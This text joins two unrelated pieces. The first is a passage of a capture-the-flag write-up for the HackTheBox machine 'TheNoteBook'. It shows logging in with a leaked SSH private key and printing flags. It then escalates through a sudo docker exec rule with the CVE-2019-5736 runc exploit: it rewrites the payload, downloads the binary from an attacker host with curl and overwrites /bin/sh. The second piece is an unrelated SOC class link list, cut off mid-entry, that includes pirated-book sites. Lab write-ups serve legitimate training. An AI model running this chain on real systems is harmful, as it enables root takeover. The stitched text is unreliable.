home.tar.gz ``` Let's look at ```home.tar.gz``` file: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/backups] └──╼ $tar xvf home.tar.gz home/ home/noah/ home/noah/.bash_logout home/noah/.cache/ home/noah/.cache/motd.legal-displayed home/noah/.gnupg/ home/noah/.gnupg/private-keys-v1.d/ home/noah/.bashrc home/noah/.profile home/noah/.ssh/ home/noah/.ssh/id_rsa home/noah/.ssh/authorized_keys home/noah/.ssh/id_rsa.pub ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/backups] └──╼ $ ``` As we can see we have ```noah``` ssh private key, let's use it to get user flag: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/] └──╼ $cp backups/home/noah/.ssh/id_rsa . ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/] └──╼ $ssh -i id_rsa [email protected] load pubkey "id_rsa": invalid format The authenticity of host '10.10.10.230 (10.10.10.230)' can't be established. ECDSA key fingerprint is SHA256:GHcgekaLnxmzAeBtBN8jWgd3DME3eniUb0l+PDmejDQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.230' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue Mar 23 20:52:55 UTC 2021 System load: 1.07 Processes: 181 Usage of /: 40.0% of 7.81GB Users logged in: 0 Memory usage: 18% IP address for ens160: 10.10.10.230 Swap usage: 0% IP address for docker0: 172.17.0.1 61 packages can be updated. 0 updates are security updates. Last login: Wed Feb 24 09:09:34 2021 from 10.10.14.5 noah@thenotebook:~$ cat user.txt 8a5c88f0f280da56aa628d1fac9d16d4 noah@thenotebook:~$ ``` And we get the user flag ```8a5c88f0f280da56aa628d1fac9d16d4```. ### Root So now we have ```noah``` user, Let's check what we can do: ```console noah@thenotebook:~$ sudo -l Matching Defaults entries for noah on thenotebook: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User noah may run the following commands on thenotebook: (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01* noah@thenotebook:~$ ``` ```*``` at the end say we can run and command after ```/usr/bin/docker exec -it webapp-dev01 ```, so let's get container shell using: ```console noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash root@0f4c2517af40:/opt/webapp# ``` So if we have permission to run ```docker exec``` as root we can use the following exploit [https://github.com/Frichetten/CVE-2019-5736-PoC](https://github.com/Frichetten/CVE-2019-5736-PoC). How does the exploit work? There are 2 use cases for the exploit. The first (which is what this repo is), is essentially a trap. An attacker would need to get command execution inside a container and start a malicious binary which would listen. When someone (attacker or victim) uses docker exec to get into the container, this will trigger the exploit which will allow code execution as root. So let's use this exploit: ```console ┌─[user@parrot]─[/hackthebox/TheNoteBook/container] ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/] Cloning into 'CVE-2019-5736-PoC'... remote: Enumerating objects: 45, done. remote: Total 45 (delta 0), reused 0 (delta 0), pack-reused 45 Unpacking objects: 100% (45/45), 1.69 MiB | 2.48 MiB/s, done. ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/] └──╼ $cd CVE-2019-5736-PoC/ ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/CVE-2019-5736-PoC/] └──╼ $ls main.go README.md screenshots ``` Now, we need to change main.go code from: ```go ... var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow" ... ``` To: ```go ... var payload = "#!/bin/bash \n cat /root/root.txt > /tmp/rootflag && chmod 777 /tmp/rootflag" ... ``` After that change, let's compile it: ```console ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/CVE-2019-5736-PoC/] └──╼ $go build main.go ┌─[evyatar@parrot]─[/hackthebox/TheNoteBook/CVE-2019-5736-PoC/] └──╼ $ ``` Listen to port 8000 and get the file ```main``` from container: ```console # noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh # cd /tmp # ls requirements.txt webapp.db # curl http://10.10.14.34:8000/main > main % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2216k 100 2216k 0 0 1266k 0 0:00:01 0:00:01 --:--:-- 1266k # chmod +x main # ./main [+] Overwritten /bin/sh successfully [+] Found the PID: 29 [+] Successfully got the file handle [+] Successfully got write handle &{0xc000308060} # ``` And run ```docker exec``` command from ```noah``` shell: ```console noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh No help topic for '/bin/sh' noah@thenotebook:~$ cat /root/rootflag d502ae5178936996ec48db79a73b7074 ``` And we get the root flag ```d502ae5178936996ec48db79a73b7074```.
# Wild-West---SOC-Core-Skills---Notes links collected from SOC Core Skills class, December 14 to 17, 2020. [SOC Core Skills w/ John Strand](https://wildwesthackinfest.com/training/soc-core-skills-john-strand/) ## Links from Day 1 and Day 2 * [strandjs/IntroLabs: These are the labs for my Intro class(Yes, this is public. Yes, this is intentional.](https://github.com/strandjs/IntroLabs) * [Home - PingCastle](https://www.pingcastle.com/) * [sans-blue-team/DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) * [davehull/Kansa: A Powershell incident response framework](https://github.com/davehull/Kansa) * [Velociraptor / Dig deeper](https://www.velocidex.com/) * [ComodoSecurity/openedr: Open EDR public repository](https://github.com/ComodoSecurity/openedr) * [OS Detection | Nmap Network Scanning](https://nmap.org/book/man-os-detection.html) * [Service and Version Detection | Nmap Network Scanning](https://nmap.org/book/man-version-detection.html) * [Unfetter Project](https://nsacyber.github.io/unfetter/) * [Neo23x0/sigma: Generic Signature Format for SIEM Systems](https://github.com/Neo23x0/sigma) * [mvelazc0/PurpleSharp: PurpleSharp is a C# adversary simulation tool that executes adversary techniques with the purpose of generating attack telemetry in monitored Windows environments](https://github.com/mvelazc0/PurpleSharp) * [Home | CyberDefenders ® | Blue Team CTF Challenges](https://cyberdefenders.org/) * [Online translator for SIEM saved searches, filters, queries and Sigma rules - Uncoder.IO](https://uncoder.io/) * [Endpoint security delivers anti-malware, high-fidelity alerting, and faster hunting & response | Elastic](https://www.elastic.co/endpoint-security/) * [Training - Cyber Threat Hunting w/ Chris Brenton - Active Countermeasures](https://www.activecountermeasures.com/event/training-cyber-threat-hunting-w-chris-brenton/) * [Cybersecurity Supply And Demand Heat Map](https://www.cyberseek.org/heatmap.html) * [Cyber Security Resources | SANS Institute](https://www.sans.org/security-resources/) * [Welcome to Zentral - Zentral](https://zentral.readthedocs.io/en/latest/) * [Joplin - an open source note taking and to-do application with synchronisation capabilities](https://joplinapp.org/) * [Objective-See](https://objective-see.com/malware.html#resources) * [cherrytree – giuspen](https://www.giuspen.com/cherrytree/) * [fireeye/red_team_tool_countermeasures](https://github.com/fireeye/red_team_tool_countermeasures) * [Tactics, Techniques and Procedures (TTPs) Utilized by FireEye’s Red Team Tools](https://www.picussecurity.com/resource/blog/techniques-tactics-procedures-utilized-by-fireeye-red-team-tools) * [IOC Bucket - Most Recent IOCs Uploaded](https://www.iocbucket.com/) * [Cyberseek](https://www.cyberseek.org/index.html) * [The Ultimate List of SANS Cheat Sheets | SANS Institute](https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/) * [Boundary by HashiCorp](https://www.boundaryproject.io/) * [OverTheWire: Bandit](https://overthewire.org/wargames/bandit/) * [Terminus](https://web.mit.edu/mprat/Public/web/Terminus/Web/main.html) * [SS64 Command line reference](https://ss64.com/) * [The Bash Guide](https://guide.bash.academy/) * [Linux Survival | Where learning Linux is easy](https://linuxsurvival.com/) * [explainshell.com - match command-line arguments to their help text](https://www.explainshell.com/) * [aristocratos/bpytop: Linux/OSX/FreeBSD resource monitor](https://github.com/aristocratos/bpytop) * [trashhalo/readcli: Tool that lets you read website content on the command line](https://github.com/trashhalo/readcli) * [steveshogren/10-minute-vim-exercises: The exercise files from 10 Minute Vim, for convenience of readers](https://github.com/steveshogren/10-minute-vim-exercises) * [Learn SQL | Codecademy](https://www.codecademy.com/learn/learn-sql) * [Smart Searching with GoogleDorking](https://exposingtheinvisible.org/guides/google-dorking/) * [Bpytop - An Efficient Resource Monitor in Linux](https://linoxide.com/tools/bpytop-resource-monitor-in-linux/) * [12 Days of Cyber Defense - YouTube](https://www.youtube.com/playlist?list=PLUze0rzlzxgJ2Ys5lpm3HCCa2xC6oNMuK) * [Checklists & Step-by-Step Guides | SCORE | SANS Institute](https://www.sans.org/score/checklists) * [IncidentResponse.com | Incident Response Playbooks Gallery](https://www.incidentresponse.com/playbooks/) * [Rumble Network Discovery](https://www.rumble.run/) * [IT & Software - Tutorial Bar](https://www.tutorialbar.com/category/it-software/) * [CIS Controls SME Companion Guide](https://www.cisecurity.org/white-papers/cis-controls-sme-guide/) * [Microsoft Word - SEC503HANDOUT_TCPIP_RG_E01_01](https://www.sans.org/security-resources/tcpip.pdf) * [SANS Blue Team Operations](https://wiki.sans.blue/#!index.md) * [Protocol Header Cheetsheets — Pingfu](https://pingfu.net/reference/ethernet-ip-tcp-udp-icmp-protocol-header-cheatsheets) * [Default TTL (Time To Live) Values of Different OS - Subin's Blog](https://subinsb.com/default-device-ttl-values/) * [Learn Azure in a Month of Lunches | Microsoft Azure](https://azure.microsoft.com/en-us/resources/learn-azure-in-a-month-of-lunches/) * [Welcome to SecurityTube.net](http://www.securitytube.net/) * [Chappell University | Laura's Lab Blog](https://www.chappell-university.com/lauras-lab) * [Wireshark Tutorial: Changing Your Column Display](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) * [Cheat Sheet - Common Ports](https://packetlife.net/media/library/23/common-ports.pdf) * [Cheat Sheets - PacketLife.net](https://packetlife.net/library/cheat-sheets/) * [5 Fun & Geeky Things You Can Do With the Telnet Client | Digital Citizen](https://www.digitalcitizen.life/5-fun-geeky-things-you-can-do-telnet-client/) * [Shodan Cheat Sheet: Keep IoT In Your Pocket | The Dark Source](https://thedarksource.com/shodan-cheat-sheet/) * [Shodan Pentesting Guide – TurgenSec Community](https://community.turgensec.com/shodan-pentesting-guide/) * [ICS Village](https://www.icsvillage.com/) * [15 Vulnerable Sites To (Legally) Practice Your Hacking Skills](https://dst.com.ng/15-vulnerable-sites-legally-practice-hacking-skills/) * [124 legal hacking websites to practice and learn – blackMORE Ops](https://www.blackmoreops.com/2018/11/06/124-legal-hacking-websites-to-practice-and-learn/) * [Enterprise Attacker Emulation and C2 Implant Development w/ Joff Thyer – Wild West Hackin' Fest](https://wildwesthackinfest.com/training/enterprise-attacker-emulation-and-c2-implant-development-w-joff-thyer/) * [Hacking VoIP | No Starch Press](https://nostarch.com/voip.htm) * [Cyber Security Training : HTB Academy](https://academy.hackthebox.eu/#courses) * [OverTheWire: Wargames](https://overthewire.org/wargames/) * [TryHackMe | 25 Days of Cyber](https://www.tryhackme.com/christmas) * [Offensive Countermeasures: 9781974671694: Computer Science Books @ Amazon.com](https://www.amazon.com/Offensive-Countermeasures-John-Strand/dp/1974671690) * [Applied Incident Response: 9781119560265: Computer Science Books @ Amazon.com](https://www.amazon.com/Applied-Incident-Response-Steve-Anson/dp/1119560268) * [Electronic library Download books free. Finding books](https://b-ok.cc/) * [google/timesketch: Collaborative forensic timeline analysis](https://github.com/google/timesketch) * [How SPF, DKIM, and DMARC Authentication Works to Increase Inbox Penetration (Testing) Rates - Black Hills Information Security](https://www.blackhillsinfosec.com/how-spf-dkim-and-dmarc-authentication-works-to-increase-inbox-penetration-testing-rates/) * [Cyber Range - Black Hills Information Security](https://www.blackhillsinfosec.com/services/cyber-range/) * [Wappalyzer - Chrome Web Store](https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg) * [Complete Python Developer in 2021: Zero to Mastery | Udemy](https://www.udemy.com/course/complete-python-developer-zero-to-mastery/) * [Recorded Future - Chrome Web Store](https://chrome.google.com/webstore/detail/recorded-future/cdblaggcibgbankgilackljdpdhhcine) * [Blog - Active Countermeasures](https://www.activecountermeasures.com/blog/) * [How to Think Like a Computer Scientist — How to Think Like a Computer Scientist: Learning with Python 3](http://openbookproject.net/thinkcs/python/english3e/) * [Ransomware Activity Targeting the Healthcare and Public Health Sector | CISA](https://us-cert.cisa.gov/ncas/alerts/aa20-302a) * [Certified Reverse Engineering Analyst (CREA)](https://www.iacertification.org/crea_certified_reverse_engineering_analyst.html) * [Department of Computer Science and Technology – Course pages 2019–20: Software and Security Engineering – Course materials](https://www.cl.cam.ac.uk/teaching/1920/SWSecEng/materials.html) * [Homepage | CISA](https://us-cert.cisa.gov/) * [redcanaryco/atomic-red-team: Small and highly portable detection tests based on MITRE's ATT&CK.](https://github.com/redcanaryco/atomic-red-team) * [Hacking a Security Career - Deviant Ollam - YouTube](https://www.youtube.com/watch?v=jZFuCYyQB6c) * [palantir/alerting-detection-strategy-framework: A framework for developing alerting and detection strategies for incident response.](https://github.com/palantir/alerting-detection-strategy-framework) * [Library Genesis](http://gen.lib.rus.ec/search.php?req=No+Starch+Press≶_topic=libgen&open=0&view=simple&res=25&phrase=1&column=def) * [Exploit Pack](http://exploitpack.com/index.html) * [VECTR | Overview](https://vectr.io/) * [Autonomous Red Teaming for Everyone | Prelude Operator](https://www.prelude.org/) * [SANS Emergency Webcast: What you need to know about the SolarWinds Supply-Chain Attack - YouTube](https://www.youtube.com/watch?v=qP3LQNsjKWw&ab_channel=SANSInstitute) * [Summary of SolarWinds breach for InfoSec noobs – Michele's Blog](https://michelepariani.com/2020/12/15/summary-of-the-solarwinds-hijack-for-infosec-noobs/) * [Kroll Artifact Parser and Extractor - KAPE](https://www.kroll.com/en/insights/publications/cyber/kroll-artifact-parser-extractor-kape) * [Eric Zimmerman's tools](https://ericzimmerman.github.io/#!index.md) * [Active Defense & Cyber Deception w/ John Strand – (16 Hours) – Wild West Hackin' Fest](https://wildwesthackinfest.com/training/active-defense-cyber-deception-john-strand/) * [But what is a Neural Network? | Deep learning, chapter 1 - YouTube](https://www.youtube.com/watch?v=aircAruvnKk&feature=youtu.be) * [Blue Team News (@blueteamsec1) / Twitter](https://twitter.com/blueteamsec1) * [CybatiWorks - CybatiWorks for Applied Research and Development](https://cybati.org/index.php/cybatiworks-for-applied-research-and-development) ## Links from Day 3 * [Free Firewall for Home Edition | Sophos Home Firewall](https://www.sophos.com/en-us/products/free-tools/sophos-xg-firewall-home-edition.aspx) * [13Cubed Episode Guide](https://www.13cubed.com/episodes/all.html) * [SRUM forensics](https://digital-forensics.sans.org/summit-archives/file/summit-archive-1492184583.pdf) * [Another Forensics Blog: Triage Collection and Timeline Generation with KAPE](https://az4n6.blogspot.com/2019/08/triage-collection-and-timeline.html) * [Introduction to DFIR(One of my favorite things is talking to… | by Scott J Roberts | Medium](https://sroberts.medium.com/introduction-to-dfir-d35d5de4c180) * [Autopsy and Cyber Triage DFIR Training](https://dfir-training.basistech.com/collections) * [The DFIR Report - Real Intrusions by Real Attackers, The Truth Behind the Intrusion](https://thedfirreport.com/) * [Firewalla | Firewalla: Cybersecurity Firewall For Your Family and Business](https://firewalla.com/) * [Cyber Triage - Online Incident Response Training with Brian Carrier](https://www.cybertriage.com/training/) * [Protectli: Trusted Firewall Appliances with Firmware Protection](https://protectli.com/) * [Download VMware vSphere Hypervisor for Free](https://my.vmware.com/en/web/vmware/evalcenter?p=free-esxi7) * [LabGopher :: Great server deals on eBay](https://www.labgopher.com/) * [Sophos Free Demos: Next Generation Security Solutions](https://www.sophos.com/en-us/products/demos.aspx) * [Hackers used SolarWinds' dominance against it in sprawling spy campaign | Reuters](https://www.reuters.com/article/global-cyber-solarwinds/hackers-used-solarwinds-dominance-against-it-in-sprawling-spy-campaign-idUSKBN28Q07P) * [How the SolarWinds Hackers Bypassed Duo’s Multi-Factor Authentication - Schneier on Security](https://www.schneier.com/blog/archives/2020/12/how-the-solarwinds-hackers-bypassed-duo-multi-factor-authentication.html) Networking * [tcpdump-cheat-sheet.jpg (2500×1803)](https://cdn.comparitech.com/wp-content/uploads/2019/06/tcpdump-cheat-sheet.jpg) * [Getting Started With TCPDump - Black Hills Information Security](https://www.blackhillsinfosec.com/getting-started-with-tcpdump/) * [Visio-tcpdump.vsd](https://packetlife.net/media/library/12/tcpdump.pdf) * [ASCII - Wikipedia](https://en.wikipedia.org/wiki/ASCII) * [Why use a named pipe instead of a file? - Ask Ubuntu](https://askubuntu.com/questions/449132/why-use-a-named-pipe-instead-of-a-file) * [Using ping to exfiltrate data](https://www.bengrewell.com/2019/01/01/slipping-out-through-the-front-door/) * [Malware-Traffic-Analysis.net](https://malware-traffic-analysis.net/) * [Practical Packet Analysis, 3rd Edition | No Starch Press](https://nostarch.com/packetanalysis3) * [tcpdump101.com - Build PCap Syntax Online](https://tcpdump101.com/) * [Getting Started With Wireshark - Black Hills Information Security](https://www.blackhillsinfosec.com/getting-started-with-wireshark/) * [A tcpdump Tutorial with Examples — 50 Ways to Isolate Traffic | Daniel Miessler](https://danielmiessler.com/study/tcpdump/) * [tcpdump.pdf](https://wiki.sans.blue/Tools/pdfs/tcpdump.pdf) * [Microsoft Word - SEC503HANDOUT_TCPIP_RG_E01_01](https://www.sans.org/security-resources/tcpip.pdf?msc=Cheat+Sheet+Blog) * [Wireshark Tutorial: Identifying Hosts and Users](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [Malware-Traffic-Analysis.net - Traffic Analysis Exercises](https://www.malware-traffic-analysis.net/training-exercises.html) * [wizardzines](https://wizardzines.com/zine-index/) * [Brim](https://www.brimsecurity.com/) * [Wireshark Tutorial: Decrypting HTTPS Traffic (Includes SSL and TLS)](https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/) * [Scapy](https://scapy.net/) * [Packet Analysis | Chris Sanders](https://chrissanders.org/category/packet-analysis/) * [GDPR Summary - An overview of the General Data Protection Act](https://www.gdprsummary.com/gdpr-summary/) * [The Zeek Network Security Monitor](https://zeek.org/) * [how to make IP geolocation map using WireShark - kalitut](https://kalitut.com/geoip-map-wireshark/) * [Malware of the Day Archives - Active Countermeasures](https://www.activecountermeasures.com/category/malware-of-the-day/) * [Malware-Traffic-Analysis.net](https://www.malware-traffic-analysis.net/) * [Decrypting and analyzing HTTPS traffic without MITM – Silent Signal Techblog](https://blog.silentsignal.eu/2020/05/04/decrypting-and-analyzing-https-traffic-without-mitm/) * [Getting started with TCPDump - John Strand - YouTube](https://www.youtube.com/watch?v=hC3ANnUXn_o) * [Chappell University | Certification](https://www.chappell-university.com/certification) * [Notable Privacy and Security Books 2020 - TeachPrivacy](https://teachprivacy.com/notable-privacy-and-security-books-2020/) * [ntopng – ntop](https://www.ntop.org/products/traffic-analysis/ntop/) * [Cisco Certified CyberOps Associate - Cisco](https://www.cisco.com/c/en/us/training-events/training-certifications/certifications/associate/cyberops-associate.html) Memory Forensics * [editcap - The Wireshark Network Analyzer 3.4.1](https://www.wireshark.org/docs/man-pages/editcap.html) * [Security for Professionals](https://www.greycortex.com/) * [Understanding IP Addressing and CIDR Charts — RIPE Network Coordination Centre](https://www.ripe.net/about-us/press-centre/understanding-ip-addressing) * [robcowart/elastiflow: Network flow analytics (Netflow, sFlow and IPFIX) with the Elastic Stack](https://github.com/robcowart/elastiflow) * [SampleCaptures - The Wireshark Wiki](https://wiki.wireshark.org/SampleCaptures) * [CyberChef](https://gchq.github.io/CyberChef/) * [Powershell: Encode and decode Base64 strings](https://michlstechblog.info/blog/powershell-encode-and-decode-base64-strings/) * [TLS Fingerprinting with JA3 and JA3S | by John Althouse | Salesforce Engineering](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967) * [clong/DetectionLab: Automate the creation of a lab environment complete with security tooling and logging best practices](https://github.com/clong/DetectionLab) * [Packet Diagrams in Wireshark - YouTube](https://www.youtube.com/watch?v=qdd_8462cHI) * [brimsec/zq: Search and analysis tooling for structured logs](https://github.com/brimsec/zq) * [Office 95 Excel 4 Macros](https://isc.sans.edu/forums/diary/Office+95+Excel+4+Macros/26876/) * [RITA - Black Hills Information Security](https://www.blackhillsinfosec.com/projects/rita/) * [SIEMonster | Affordable Security Monitoring Software Solution](https://siemonster.com/) * [PacketTotal - A free, online PCAP analysis engine](https://www.packettotal.com/) * [Link-Local Multicast Name Resolution - Wikipedia](https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution) * [Releases | volatilityfoundation](https://www.volatilityfoundation.org/releases) * [Product Downloads | AccessData](https://accessdata.com/product-download) * [fireeye/win10_volatility: An advanced memory forensics framework](https://github.com/fireeye/win10_volatility) * [2020 Agenda - OSDFCon](https://www.osdfcon.org/2020-event/2020-agenda/) * [Belkasoft RAM Capturer: Volatile Memory Acquisition Tool](https://belkasoft.com/ram-capturer) * [CheatSheet_v2.4](https://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf) * [Mimikatz – Active Directory Security](https://adsecurity.org/?page_id=1821) * [Memory Forensics Cheat Sheet](https://www.dfir.training/memory-cheats/320-memory-forensics-cheat-sheet-v1-2/file) * [Six Facts about Address Space Layout Randomization on Windows | FireEye Inc](https://www.fireeye.com/blog/threat-research/2020/03/six-facts-about-address-space-layout-randomization-on-windows.html) * [gcla/termshark: A terminal UI for tshark, inspired by Wireshark](https://github.com/gcla/termshark) * [AMF | memoryanalysis](https://www.memoryanalysis.net/amf) Egress Traffic Analysis * [LOLBAS](https://lolbas-project.github.io/) * [WADComs](https://wadcoms.github.io/) * [Webcast: Attack Tactics 7 - The Logs You Are Looking For - Black Hills Information Security](https://www.blackhillsinfosec.com/webcast-attack-tactics-7-the-logs-you-are-looking-for/) * [Cyber Threat Hunting | Chris Brenton | October 2020 | 4 Hours - YouTube](https://www.youtube.com/watch?v=FzYPT1xTVHY) * [Pi-hole – Network-wide protection](https://pi-hole.net/) * [BPF: A New Type of Software](http://www.brendangregg.com/blog/2019-12-02/bpf-a-new-type-of-software.html) * [salesforce/ja3: JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way.](https://github.com/salesforce/ja3) * [Raspberry Pi sensors for home networks - YouTube](https://www.youtube.com/watch?v=5gL7Ug9H2RE) * [Corelight@Home](https://www3.corelight.com/nsm@home) * [How to use a Raspberry Pi as a Network Sensor - Bill Stearns - YouTube](https://www.youtube.com/watch?v=vja_H59fh1I) * [The Practice of Network Security Monitoring | No Starch Press](https://nostarch.com/nsm) * [Real Intelligence Threat Analytics (RITA) Overview & AI-Hunter Demo - YouTube](https://www.youtube.com/watch?v=h8KNyhSMoig) ## Links from Day 4 * [cyber.dhs.gov - Emergency Directive 21-01](https://cyber.dhs.gov/ed/21-01/) * [SANS Emergency Webcast: What you need to know about the SolarWinds Supply-Chain Attack - SANS Institute](https://www.sans.org/webcasts/emergency-webcast-about-solarwinds-supply-chain-attack-118015) * [ET Pro Telemetry edition — OPNsense documentation](https://docs.opnsense.org/manual/etpro_telemetry.html) * [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/) * [Advanced Persistent Threat Actors Targeting U.S(Think Tanks | CISA](https://us-cert.cisa.gov/ncas/alerts/aa20-336a) * [JPCERTCC/LogonTracer: Investigate malicious Windows logon by visualizing and analyzing Windows event log](https://github.com/JPCERTCC/LogonTracer) * [Neo4j Graph Platform – The Leader in Graph Databases](https://neo4j.com/) * [Defenders think in lists(Attackers think in graphs. As long as this is true, attackers win. | Microsoft Docs](https://docs.microsoft.com/en-us/archive/blogs/johnla/defenders-think-in-lists-attackers-think-in-graphs-as-long-as-this-is-true-attackers-win) * [Security Researcher Reveals Solarwinds' Update Server Was 'Secured' With The Password 'solarwinds123' | Techdirt](https://www.techdirt.com/articles/20201215/13203045893/security-researcher-reveals-solarwinds-update-server-was-secured-with-password-solarwinds123.shtml) * [You Should Probably Change Your Password! | Michael McIntyre Netflix Special - YouTube](https://www.youtube.com/watch?v=aHaBH4LqGsI) * [Sysmon - Windows Sysinternals | Microsoft Docs](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) * [splunk/botsv1](https://github.com/splunk/botsv1) * [splunk/botsv2: Splunk Boss of the SOC version 2 dataset.](https://github.com/splunk/botsv2) * [splunk/botsv3: Splunk Boss of the SOC version 3 dataset.](https://github.com/splunk/botsv3) * [Enterprise Cybersecurity - Recon InfoSec](https://www.reconinfosec.com/) * [OpenSOC - Network Defense Simulation](https://opensoc.io/) * [Demystifying the Windows Firewall – Learn how to irritate attackers without crippling your network | New Zealand 2016 | Channel 9](https://channel9.msdn.com/Events/Ignite/New-Zealand-2016/M377) * [research/uniq-hostnames.txt at main · bambenek/research](https://github.com/bambenek/research/blob/main/sunburst/uniq-hostnames.txt) * [Windows Security Log Encyclopedia](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx) * [Detecting Kerberoasting Activity – Active Directory Security](https://adsecurity.org/?p=3458) * [Kerberos & Attacks 101 - SANS Institute](https://www.sans.org/webcasts/kerberos-attacks-101-111735) * [Basic Kerberos Authentication - YouTube](https://www.youtube.com/watch?v=u7MQoSN19O4) * [PowerPoint Presentation](https://www.redsiege.com/wp-content/uploads/2020/09/SIEGECAST-KERBEROS-AND-ATTACKS-101.pdf) * [SANS Webcast: Kerberos & Attacks 101 - YouTube](https://www.youtube.com/watch?v=LmbP-XD1SC8) * [Kerberos and Attacks 101 - Tim Medin - YouTube](https://www.youtube.com/watch?v=9lOFpUA25Nk) * [How To Disable LLMNR & Why You Want To - Black Hills Information Security](https://www.blackhillsinfosec.com/how-to-disable-llmnr-why-you-want-to/) * [Kerberos & Attacks 101 - YouTube](https://www.youtube.com/watch?v=IBeUz7zMN24&t=564s) * [Kerberos & Attacks 101 - YouTube](https://www.youtube.com/watch?v=IBeUz7zMN24) * [Proof-of-Concept Exploit Code for Kerberos Bronze Bit Attack Published - Binary Defense](https://www.binarydefense.com/threat_watch/proof-of-concept-exploit-code-for-kerberos-bronze-bit-attack-published/) * [Kerberoasting How To with Tim Medin - YouTube](https://www.youtube.com/watch?v=Jaa2LmZaNeU&feature=youtu.be) * [Unofficial Guide to Mimikatz & Command Reference – Active Directory Security](https://adsecurity.org/?p=2207) * [Mimikatz - Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/Mimikatz/) * [Prevent Windows from storing an LM hash of the password in AD and local SAM databases - Windows Server | Microsoft Docs](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password) * [Collecting Process Start Events (4688) Without the Noise](https://support.logbinder.com/SuperchargerKB/50141/Collecting-Process-Start-Events-4688-Without-the-Noise) * [Set up PowerShell script block logging for added security](https://searchwindowsserver.techtarget.com/tutorial/Set-up-PowerShell-script-block-logging-for-added-security) * [Use Windows Event Forwarding to help with intrusion detection (Windows 10) - Windows security |Microsoft Docs](https://docs.microsoft.com/en-us/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection) * [olafhartong/sysmon-modular: A repository of sysmon configuration modules](https://github.com/olafhartong/sysmon-modular) * [activecm/BeaKer: Beacon Kibana Executable Report(Aggregates Sysmon Network Events With Elasticsearch and Kibana](https://github.com/activecm/BeaKer) * [palantir/windows-event-forwarding: A repository for using windows event forwarding for incident detection and response](https://github.com/palantir/windows-event-forwarding) * [Applied Purple Teaming w/ Kent Ickler and Jordan Drysdale – (16 Hours) – Wild West Hackin' Fest](https://wildwesthackinfest.com/training/applied-purple-teaming/) * [How to Write Sigma Rules - Nextron Systems](https://www.nextron-systems.com/2018/02/10/write-sigma-rules/) * [How to Build an Active Directory Hacking Lab - YouTube](https://www.youtube.com/watch?v=xftEuVQ7kY0) * [Setting up Active Directory in Windows Server 2019 (Step By Step Guide) - YouTube](https://www.youtube.com/watch?v=h3sxduUt5a8) * [Sigma Rules Repository Mirror | TDM by SOC Prime](https://sigma.socprime.com/#!/) * [Accessing Event Data and Fields in the Configuration | Logstash Reference [7.10] | Elastic](https://www.elastic.co/guide/en/logstash/current/event-dependent-configuration.html) * [Filter plugins | Logstash Reference [7.10] | Elastic](https://www.elastic.co/guide/en/logstash/current/filter-plugins.html) * [AWS Penetration Testing](https://www.packtpub.com/security/aws-penetration-testing) * [sbousseaden/EVTX-ATTACK-SAMPLES: Windows Events Attack Samples](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) * [Windows Security Log Event ID 4776 - The domain controller attempted to validate the credentials for an account](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4776) * [Jump start with Docker · JPCERTCC/LogonTracer Wiki](https://github.com/JPCERTCC/LogonTracer/wiki/jump-start-with-docker) * [Attack Tactics 6: Return of the Blue Team - YouTube](https://www.youtube.com/watch?v=c7x5JsR16Qw&ab_channel=BlackHillsInformationSecurity) * [4724(S, F) An attempt was made to reset an account's password((Windows 10) - Windows security | Microsoft Docs](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4724) * [Attack Tactics 7: The logs you are looking for - YouTube](https://www.youtube.com/watch?v=jL6Somex_58&list=PLqz80p7f6dFsaPX-eDVk8qDZAlGXW_VwW) * [Attack Tactics - YouTube](https://www.youtube.com/playlist?list=PLqz80p7f6dFsaPX-eDVk8qDZAlGXW_VwW) * [nathanmcnulty/Disable-NetBIOS.ps1 at master - nathanmcnulty/nathanmcnulty](https://github.com/nathanmcnulty/nathanmcnulty/blob/master/ActiveDirectory/Disable-NetBIOS.ps1) * [Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/) * [Memory Samples · volatilityfoundation/volatility 